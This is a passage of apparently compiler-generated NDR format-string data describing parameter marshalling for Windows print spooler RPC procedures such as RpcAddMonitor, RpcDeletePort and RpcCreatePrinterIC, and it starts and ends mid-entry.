*/\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2286 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2288 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2294 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2298 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2300 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2302 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pMonitor */\n\n/* 2306 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2308 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2310 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2314 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2318 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2320 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2324 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2326 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2330 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2332 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum37NotUsedOnWire */\n\n/* 2336 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2342 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2344 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2346 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2354 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2356 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum38NotUsedOnWire */\n\n/* 2366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2372 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2374 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2376 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2382 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2384 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2386 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2390 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcDeletePort */\n\n/* 2396 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2398 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2402 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2404 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2406 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2408 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2410 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2412 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2414 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2416 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2418 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2428 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2432 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter hWnd */\n\n/* 2434 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2436 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2438 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPortName */\n\n/* 2440 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2442 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2444 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2446 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2448 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcCreatePrinterIC */\n\n/* 2452 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2454 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2458 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2460 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2462 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2464 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2466 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2468 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2470 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2472 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2474 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2476 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2478 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2484 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2486 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2488 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pHandle */\n\n/* 2490 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2492 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2494 */\tNdrFcShort( 0x6aa ),\t/* Type Offset=1706 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 2496 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2498 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2500 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Return value */\n\n/* 2502 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2504 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2506 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcPlayGdiScriptOnPrinterIC */\n\n/* 2508 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2510 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2514 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2516 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2518 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2520 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2522 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2524 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 2526 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2528 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2530 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2532 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2534 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinterIC */\n\n/* 2540 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2544 */\tNdrFcShort( 0x6ae ),\t/* Type Offset=1710 */\n\n\t/* Parameter pIn */\n\n/* 2546 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2548 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2550 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cIn */\n\n/* 2552 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2554 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2556 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOut */\n\n/* 2558 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2560 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2562 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter cOut */\n\n/* 2564 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2566 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2568 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ul */\n\n/* 2570 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2572 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2576 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2578 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2580 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterIC */\n\n/* 2582 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2584 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2588 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2590 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2592 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2594 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2596 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2598 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2600 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2602 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2604 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2606 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinterIC */\n\n/* 2614 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2616 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2618 */\tNdrFcShort( 0x6b6 ),\t/* Type Offset=1718 */\n\n\t/* Return value */\n\n/* 2620 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2622 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum43NotUsedOnWire */\n\n/* 2626 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2628 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2632 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2634 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2636 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2638 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2640 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2644 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2646 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2654 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum44NotUsedOnWire */\n\n/* 2656 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2658 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2662 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2664 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2666 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2668 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2676 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum45NotUsedOnWire */\n\n/* 2686 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2692 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2694 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2696 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2700 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2702 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2704 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2706 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcAddMonitor */\n\n/* 2716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2724 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2726 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2730 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2738 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2742 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2748 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2752 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorContainer */\n\n/* 2754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2758 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2760 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteMonitor */\n\n/* 2766 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2772 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 2774 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2776 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2780 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2784 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2786 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2788 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2796 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2798 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2800 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2802 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2806 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2808 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorName */\n\n/* 2810 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2812 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2814 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2816 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2818 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrintProcessor */\n\n/* 2822 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2824 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2828 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2830 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2832 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2836 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2842 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2844 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2848 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2854 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2856 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2858 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2860 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2862 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2864 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2866 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2868 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2870 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2872 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2874 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2876 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum49NotUsedOnWire */\n\n/* 2878 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2880 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2884 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 2886 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2888 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2890 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2896 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2898 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum50NotUsedOnWire */\n\n/* 2908 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2910 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2914 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 2916 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2918 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2920 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2926 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2928 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2930 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2934 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcEnumPrintProcessorDatatypes */\n\n/* 2938 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2940 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2944 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 2946 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2948 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2950 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2952 */\t0x0,\t\t/* 0 